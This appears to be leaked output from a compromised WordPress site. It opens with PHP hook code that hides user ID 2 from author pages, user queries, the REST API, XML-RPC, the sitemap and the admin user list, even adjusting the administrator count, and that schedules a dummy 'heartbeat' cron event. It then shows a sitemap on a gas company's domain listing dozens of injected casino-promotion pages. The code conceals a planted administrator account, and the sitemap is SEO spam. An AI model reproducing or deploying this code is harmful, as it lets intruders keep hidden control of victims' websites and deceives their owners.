add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 2;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 2;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 2;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 2;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-2{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//www.perthgas.com.au/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd http://www.google.com/schemas/sitemap-image/1.1 http://www.google.com/schemas/sitemap-image/1.1/sitemap-image.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<url>
		<loc>https://www.perthgas.com.au/casino-spinanga-3/</loc>
		<lastmod>2026-06-15T14:52:22+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/casino-leon-6/</loc>
		<lastmod>2026-06-15T14:54:21+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/cleobetracasino/</loc>
		<lastmod>2026-06-15T15:18:28+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/recensie-van-het-beoefenen-van-live-dealer-spellen-bij-vox-casino-in-nederland-gedurende-zes-maanden/</loc>
		<lastmod>2026-06-15T15:21:39+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/wonaco-5/</loc>
		<lastmod>2026-06-15T15:21:57+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spin-granni/</loc>
		<lastmod>2026-06-15T15:22:01+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/e-sicuro-depositare-soldi-su-stay-casino-in-italia/</loc>
		<lastmod>2026-06-15T15:22:16+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/casino-shuffle-vrification-dadresse/</loc>
		<lastmod>2026-06-15T15:22:40+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/casino-vulkan-vegas-5/</loc>
		<lastmod>2026-06-15T15:22:51+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/nationalcasino-tischspiele/</loc>
		<lastmod>2026-06-15T15:23:10+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/wazamba-2/</loc>
		<lastmod>2026-06-15T15:23:24+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/vulkan-vegas-casino/</loc>
		<lastmod>2026-06-15T15:23:49+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spiritcasino/</loc>
		<lastmod>2026-06-15T15:24:01+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/jouez-avec-winshark-casino/</loc>
		<lastmod>2026-06-15T15:24:07+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/casino-spinmama-2/</loc>
		<lastmod>2026-06-15T15:25:01+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/winn-itt-welkomstbonus/</loc>
		<lastmod>2026-06-15T15:25:20+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/wazambacasino-3/</loc>
		<lastmod>2026-06-15T15:25:32+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/mostbet-casino-5/</loc>
		<lastmod>2026-06-15T15:25:58+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/bonus-de-primeiro-deposito-no-cassino-spinanga-analise-detalhada-para-portugal/</loc>
		<lastmod>2026-06-15T15:26:40+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/casino-vulkan-vegas-registrieren/</loc>
		<lastmod>2026-06-15T15:36:33+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/lucky-block/</loc>
		<lastmod>2026-06-15T15:38:36+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spinanga-2/</loc>
		<lastmod>2026-06-15T15:45:18+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/jep-casino/</loc>
		<lastmod>2026-06-15T16:00:45+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/jouez-en-toute-securite-et-profitez-pleinement-de-votre-sejour-faites-vous-toujours-confiance-au-casino-vulkan-vegas-en-belgique/</loc>
		<lastmod>2026-06-15T16:11:57+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/casino-spinstein-10/</loc>
		<lastmod>2026-06-15T16:26:22+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spinsteincasino-13/</loc>
		<lastmod>2026-06-15T16:27:51+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/dernieres-bandits-manchots-avec-un-taux-de-redistribution-maximal-pour-le-canada-au-etablissement-de-jeu-luckyhills/</loc>
		<lastmod>2026-06-15T16:34:39+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/duffspins-casino-experience-real-time-dealer-gaming-today-in-united-kingdom/</loc>
		<lastmod>2026-06-15T16:36:08+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spinstein-casino-8/</loc>
		<lastmod>2026-06-15T16:36:45+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/winspiritcasino/</loc>
		<lastmod>2026-06-15T16:37:14+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/luckyhills-casino-4/</loc>
		<lastmod>2026-06-15T16:37:35+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spinstein-casino-9/</loc>
		<lastmod>2026-06-15T16:37:38+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spinstein-4/</loc>
		<lastmod>2026-06-15T16:41:30+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/juegos-de-casino-modernos-con-atractivo-clasico-en-el-casino-spinstein-de-espana/</loc>
		<lastmod>2026-06-15T16:49:30+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/le-casino-luckyhills-invite-les-canadiens-a-samuser-gagner-et-celebrer-chaque-tour/</loc>
		<lastmod>2026-06-15T16:53:17+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/opzioni-di-prelievo-spinstein-casino-memorizza-le-configurazioni-per-litalia/</loc>
		<lastmod>2026-06-15T16:53:49+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/spinstein-casino-erhoeht-mit-premium-service-stufe-die-unterstuetzungsqualitaet-in-oesterreich/</loc>
		<lastmod>2026-06-15T16:55:12+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/gagnez-de-points-de-fidelite-uniques-en-jouant-au-casino-winspirit-au-canada/</loc>
		<lastmod>2026-06-15T16:59:50+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/my-typical-weekend-at-luckyhills-casino-canada-gambler-routine/</loc>
		<lastmod>2026-06-15T17:00:00+00:00</lastmod>
	</url>
	<url>
		<loc>https://www.perthgas.com.au/explicacion-de-los-bonos-transacciones-y-atencion-al-cliente-del-sala-de-juegos-cleobetra-en-espana/</loc>
		<lastmod>2026-06-15T17:31:30+00:00</lastmod>
	</url>
</urlset>
<!-- XML Sitemap generated by Yoast SEO -->